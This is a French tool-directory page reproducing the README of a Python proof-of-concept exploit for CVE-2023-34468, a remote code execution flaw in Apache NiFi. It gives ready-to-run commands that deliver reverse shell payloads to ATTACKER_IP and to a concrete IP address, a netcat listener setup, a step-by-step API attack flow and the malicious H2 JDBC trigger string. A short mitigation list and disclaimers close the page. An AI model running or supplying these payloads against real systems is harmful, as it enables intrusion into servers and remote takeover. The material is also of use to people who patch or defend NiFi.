Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-34468 — CVE-2023-34468 - PoC RCE Apache NiFi H2 | Kitploit
Outils/GitHubGitHub/jeanpt/cve-2023-34468
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - PoC RCE Apache NiFi H2

Voir le dépôt
111il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit CVE-2023-34468

GitHub stars GitHub license

Aperçu

Ce dépôt fournit un outil d'exploitation basé sur Python pour CVE-2023-34468, une vulnérabilité critique d'exécution de code à distance (CVSS 9.8) dans Apache NiFi versions 0.0.2 à 1.21.0. Il permet aux utilisateurs authentifiés d'exécuter du code arbitraire en manipulant les chaînes de connexion de la base de données H2 avec des triggers intégrés.

⚠️ Avertissement : À des fins éducatives et de test autorisé uniquement. L'accès non autorisé aux systèmes informatiques est illégal.

Détails de la vulnérabilité

  • ID CVE : CVE-2023-34468
  • Versions affectées : Apache NiFi 0.0.2–1.21.0
  • Impact : Exécution de code à distance (RCE)
  • Score CVSS : 9.8 (Critique)
  • Date de découverte : 12 juin 2023
  • Description : Les services de contrôleur DBCPConnectionPool et HikariCPConnectionPool permettent aux utilisateurs de configurer une URL de base de données avec le pilote H2 qui permet l'exécution de code Java arbitraire via la fonctionnalité CREATE TRIGGER de H2. Lorsqu'une connexion est initialisée, du code JavaScript intégré s'exécute avec les privilèges de NiFi.

Prérequis

  • Python 3.7+
  • bibliothèque requests
  • Accès réseau à l'API NiFi (port par défaut 8080 ou 8443)
  • Instance NiFi cible sans authentification OU avec des identifiants valides
  • Configuration d'un écouteur pour reverse shell (par ex., nc -lnvp 5555)

Démarrage rapide

Cloner et installer

git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

NiFi non authentifié (aucun identifiant requis)

# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

NiFi authentifié (nom d'utilisateur/mot de passe)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

NiFi authentifié (jeton Bearer)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

Ignorer le nettoyage (laisser des artefacts sur la cible)

python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

Toutes les options

python3 exploit.py --help
CommandeDescription
-t, --targetURL de l'instance NiFi cible (requise)
-c, --commandCommande à exécuter (requise)
-lh, --lhostHôte de l'écouteur pour le rappel (requis)
-lp, --lportPort de l'écouteur pour le rappel (requis)
-u, --usernameNom d'utilisateur NiFi (instances authentifiées)
-p, --passwordMot de passe NiFi (instances authentifiées)
--tokenJeton Bearer (instances authentifiées)
--no-cleanupIgnorer le nettoyage après exploitation
--delaySecondes à attendre avant le nettoyage (défaut : 10)
--driver-pathChemin du fichier jar du pilote H2 (omis par défaut)

Vérification : Vérifiez votre écouteur pour la connexion reverse shell. Exécutez id pour confirmer l'exécution du code.

Comment ça fonctionne (Détails techniques)

Flux d'attaque

  1. Reconnaissance : Identifier la version de NiFi via /nifi-api/system-diagnostics
  2. Créer un service DBCP : POST de la chaîne de connexion H2 malveillante vers /nifi-api/process-groups/root/controller-services
  3. Créer un processeur : POST du processeur ExecuteSQL vers le même groupe de processus
  4. Configurer le processeur : Associer le processeur au service DBCP malveillant
  5. Activer le service : PUT vers /nifi-api/controller-services/{id}/run-status avec l'état ENABLED
  6. Déclencher l'RCE : PUT vers /nifi-api/processors/{id}/run-status avec l'état RUNNING — le trigger H2 se déclenche lors de la connexion

Structure de la charge utile H2

jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Points clés :

  • Échapper le point-virgule avec un backslash : \;
  • JavaScript se déclenche sur BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (déclenché automatiquement)
  • Encoder la charge utile en Base64 pour éviter les problèmes de caractères spéciaux
  • Les signes égal de remplissage sont remplacés par des espaces pour éviter les problèmes d'analyse H2

Exemples de charges utiles

Reverse Shell

# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Exécution de commande

python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Atténuation

  • Mise à jour : Mettre à niveau vers Apache NiFi 1.22.0 ou ultérieur
  • Contrôle d'accès : Restreindre l'accès à l'API NiFi via pare-feu/WAF
  • Authentification : Activer et imposer l'authentification sur NiFi
  • Surveillance : Alerter sur les configurations de service de contrôleur inhabituelles
  • Segmentation réseau : Isoler NiFi des réseaux non fiables

Références

  • NVD - CVE-2023-34468
  • Apache NiFi Security Advisory
  • NIFI-11653 - Issue Tracker
  • Apache Mailing List Discussion

Avertissement

Cet outil est fourni uniquement pour la recherche en sécurité et les tests autorisés. L'auteur n'est pas responsable de l'utilisation abusive ou des dommages causés par cet exploit. Testez toujours de manière responsable dans des environnements autorisés uniquement.

Crédits

  • Découverte : Matei "Mal" Badanoiu
  • Module Metasploit : h00die
  • POC Python : Jean

Licence

Licence MIT - Voir le fichier LICENSE pour plus de détails


Conçu pour la recherche en sécurité et les tests d'intrusion autorisés.

Sujets : apache-nifi h2-database rce exploit cve-2023-34468 python security-research

Télécharger l’outil